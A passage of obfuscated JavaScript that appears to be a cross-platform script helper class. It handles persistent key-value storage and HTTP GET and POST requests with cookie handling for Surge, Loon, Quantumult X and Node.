this['lodash_set'](_0x31deaa, _0x5b2891, _0x3a945e)
_0x3c0ed5 = this['setval'](JSON['stringify'](_0x31deaa), _0x1ca73e)
} catch (_0x3a2752) {
const _0x33bc72 = {}
this['lodash_set'](_0x33bc72, _0x5b2891, _0x3a945e)
_0x3c0ed5 = this['setval'](JSON['stringify'](_0x33bc72), _0x1ca73e)
}
} else {
_0x3c0ed5 = this['setval'](_0x3a945e, _0x2767fa)
}
return _0x3c0ed5
}
['getval'](_0x2b4b97) {
return this['isSurge']() || this['isLoon']() ? $persistentStore['read'](_0x2b4b97) : this['isQuanX']() ? $prefs['valueForKey'](_0x2b4b97) : this['isNode']() ? ((this['data'] = this['loaddata']()), this['data'][_0x2b4b97]) : (this['data'] && this['data'][_0x2b4b97]) || null
}
['setval'](_0x23d4d9, _0x51f83a) {
return this['isSurge']() || this['isLoon']()
? $persistentStore['write'](_0x23d4d9, _0x51f83a)
: this['isQuanX']()
? $prefs['setValueForKey'](_0x23d4d9, _0x51f83a)
: this['isNode']()
? ((this['data'] = this['loaddata']()), (this['data'][_0x51f83a] = _0x23d4d9), this['writedata'](), true)
: (this['data'] && this['data'][_0x51f83a]) || null
}
['initGotEnv'](_0x1de744) {
this['got'] = this['got'] ? this['got'] : require('got')
this['cktough'] = this['cktough'] ? this['cktough'] : require('tough-cookie')
this['ckjar'] = this['ckjar'] ? this['ckjar'] : new this['cktough']['CookieJar']()
_0x1de744 && ((_0x1de744['headers'] = _0x1de744['headers'] ? _0x1de744['headers'] : {}), void 0 === _0x1de744['headers']['Cookie'] && void 0 === _0x1de744['cookieJar'] && (_0x1de744['cookieJar'] = this['ckjar']))
}
['get'](_0x329258, _0xbfffd7 = () => {}) {
if ((_0x329258['headers'] && (delete _0x329258['headers']['Content-Type'], delete _0x329258['headers']['Content-Length']), this['isSurge']() || this['isLoon']())) {
this['isSurge']() &&
this['isNeedRewrite'] &&
((_0x329258['headers'] = _0x329258['headers'] || {}),
Object['assign'](_0x329258['headers'], {
'X-Surge-Skip-Scripting': false,
}))
$httpClient['get'](_0x329258, (_0x36d7a9, _0x5e7664, _0x1d5a31) => {
!_0x36d7a9 && _0x5e7664 && ((_0x5e7664['body'] = _0x1d5a31), (_0x5e7664['statusCode'] = _0x5e7664['status']))
_0xbfffd7(_0x36d7a9, _0x5e7664, _0x1d5a31)
})
} else {
if (this['isQuanX']()) {
this['isNeedRewrite'] &&
((_0x329258['opts'] = _0x329258['opts'] || {}),
Object['assign'](_0x329258['opts'], {
hints: false,
}))
$task['fetch'](_0x329258)['then'](
(_0xe0401b) => {
const { statusCode: _0x450a8f, statusCode: _0x32aafa, headers: _0x3533a8, body: _0x561e3c } = _0xe0401b
_0xbfffd7(
null,
{
status: _0x450a8f,
statusCode: _0x32aafa,
headers: _0x3533a8,
body: _0x561e3c,
},
_0x561e3c
)
},
(_0x14b8dc) => _0xbfffd7(_0x14b8dc)
)
} else {
if (this['isNode']()) {
let _0x29851b = require('iconv-lite')
this['initGotEnv'](_0x329258)
this['got'](_0x329258)
['on']('redirect', (_0x2535fd, _0x3fec1a) => {
try {
if (_0x2535fd['headers']['set-cookie']) {
const _0xa5bb1c = _0x2535fd['headers']['set-cookie']['map'](this['cktough']['Cookie']['parse'])['toString']()
_0xa5bb1c && this['ckjar']['setCookieSync'](_0xa5bb1c, null)
_0x3fec1a['cookieJar'] = this['ckjar']
}
} catch (_0x56570a) {
this['logErr'](_0x56570a)
}
})
['then'](
(_0x1b18f5) => {
const { statusCode: _0x36a45, statusCode: _0x4e5967, headers: _0x57c605, rawBody: _0x455280 } = _0x1b18f5
_0xbfffd7(
null,
{
status: _0x36a45,
statusCode: _0x4e5967,
headers: _0x57c605,
rawBody: _0x455280,
},
_0x29851b['decode'](_0x455280, this['encoding'])
)
},
(_0x385498) => {
const { message: _0x161ec3, response: _0x5c58dc } = _0x385498
_0xbfffd7(_0x161ec3, _0x5c58dc, _0x5c58dc && _0x29851b['decode'](_0x5c58dc['rawBody'], this['encoding']))
}
)
}
}
}
}
['post'](_0x2a9a6e, _0x837633 = () => {}) {
const _0x36b13a = _0x2a9a6e['method'] ? _0x2a9a6e['method']['toLocaleLowerCase']() : 'post'
if ((_0x2a9a6e['body'] && _0x2a9a6e['headers'] && !_0x2a9a6e['headers']['Content-Type'] && (_0x2a9a6e['headers']['Content-Type'] = 'application/x-www-form-urlencoded'), _0x2a9a6e['headers'] && delete _0x2a9a6e['headers']['Content-Length'], this['isSurge']() || this['isLoon']())) {
this['isSurge']() &&
this['isNeedRewrite'] &&
((_0x2a9a6e['headers'] = _0x2a9a6e['headers'] || {}),
Object['assign'](_0x2a9a6e['headers'], {
'X-Surge-Skip-Scripting': false,
}))
$httpClient[_0x36b13a](_0x2a9a6e, (_0x50b7c6, _0xec1837, _0xa92484) => {